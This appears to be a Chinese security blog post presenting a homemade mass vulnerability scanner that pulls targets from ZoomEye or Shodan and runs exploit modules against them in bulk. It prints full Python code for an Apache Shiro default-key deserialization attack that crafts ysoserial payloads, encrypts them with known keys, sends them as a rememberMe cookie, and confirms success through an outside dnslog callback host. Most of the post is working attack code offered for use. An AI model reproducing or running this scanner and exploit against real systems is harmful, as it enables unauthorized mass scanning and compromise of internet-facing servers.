每个黑客爱好者都需要有自己的漏洞扫描器

文章来源：平头哥SEC

先上链接：

https://github.com/yuxiaokui/cloudhacker

然后上代码：

先是动态加载选择的exp，然后是导入攻击目标。

    # 动态加载选择的漏洞利用代码
    exp = importlib.import_module('exp.' + host[int(target)-1] + '.' + pocs[int(flag) - 1][:-3])
 
 
    # 选择通过zoomeye还是shodan还是文件来导入目标
    api_select = input("Zoomeye or Shodan or File (z/s/f):")
    if api_select == 'f':
        f = input("File:")   
        with open(f) as x:
            targets = x.readlines()
    else:     
        query = input("Query:")
        start = int(input("Start_page:"))
        end = int(input("End_page:"))
 
        if api_select == 'z':
            p = zoomeye(query, start, end)
        if api_select == 's':
            p = shodan_api(query, start, end)
        targets = p.run()

然后使用协程的方式进行批量检测。

    def check(self):
        while self.targets.qsize() > 0:
            target = self.targets.get().strip()
            try:
                self.pbar.update(1)
                result = exp.exp(target)
                if result:
                    self.result.append(result)
            except Exception as e:
                #print(e)
                pass
 
 
    def run(self):
        threads = [gevent.spawn(self.check) for i in range(self.threads_num)]
        try:
            gevent.joinall(threads)
        except KeyboardInterrupt as e:
            print ('[WARNING] User aborted')
            for res in self.result:
                print (res)
        self.pbar.close()
        print ("Hack it!")
        for res in self.result:
            print (res)
        print("Found ",len(self.result))
        print ("End!")

没错就是这么简单的几十行代码，就可以实现一个漏洞扫描器。

其实关键的地方还是写漏洞检测插件。

这里给出一个最近比较火的Shiro使用默认key的检测方式。

import os
import re
import base64
import uuid
import time
import subprocess
import requests
from Crypto.Cipher import AES
from random import randint
 
JAR_FILE = './lib/ysoserial.jar' # 需要自己下载 https://github.com/frohoff/ysoserial
 
keys='''
kPH+bIxk5D2deZiIxcaaaA==
4AvVhmFLUs0KTA3Kprsdag==
'''
 
def poc(url, rce_command,key):
    if '://' not in url:
        target = 'https://%s' % url if ':443' in url else 'http://%s' % url
    else:
        target = url
    try:
        payload = generator(rce_command, JAR_FILE,key)
        r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10)
        #print(key)
        #print(r.status_code)
    except Exception as e:
        #print (e)
        pass
    return False
 
 
def generator(command, fp,key):
    if not os.path.exists(fp):
        print('Jar zai na ne ?')
        raise Exception('jar file not found!')
    popen = subprocess.Popen(['java', '-jar', fp, 'URLDNS', command],
                             stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
 
 
 
def exp(target):
    for key in keys.split('\n'):
        token = "shrio-" + str(randint(100000,999999))
        dnslog = 'http://' + token + '.xxxxxx.dnslog.cc'  # 我在Chamd5的dnslog平台注册时地址。
        dnslog_api = "http://admin.dnslog.cc/api/dns/xxxxxxxx/%s/" % token 
        poc(target, dnslog, key.strip())
        time.sleep(3)
        r = requests.get(dnslog_api)
        if r.text != 'False':
            return target,key.strip()
            break
 
if __name__ == '__main__':
    exp('bhst.vip:20020')  # 这是我用docker搭建的靶机，用来验证漏洞

推荐文章++++

*AD工作室精心研发漏洞安全扫描器

*知名Web漏洞扫描器Acunetix Web Vulnarability Scanner

*Perun-网络资产漏洞扫描器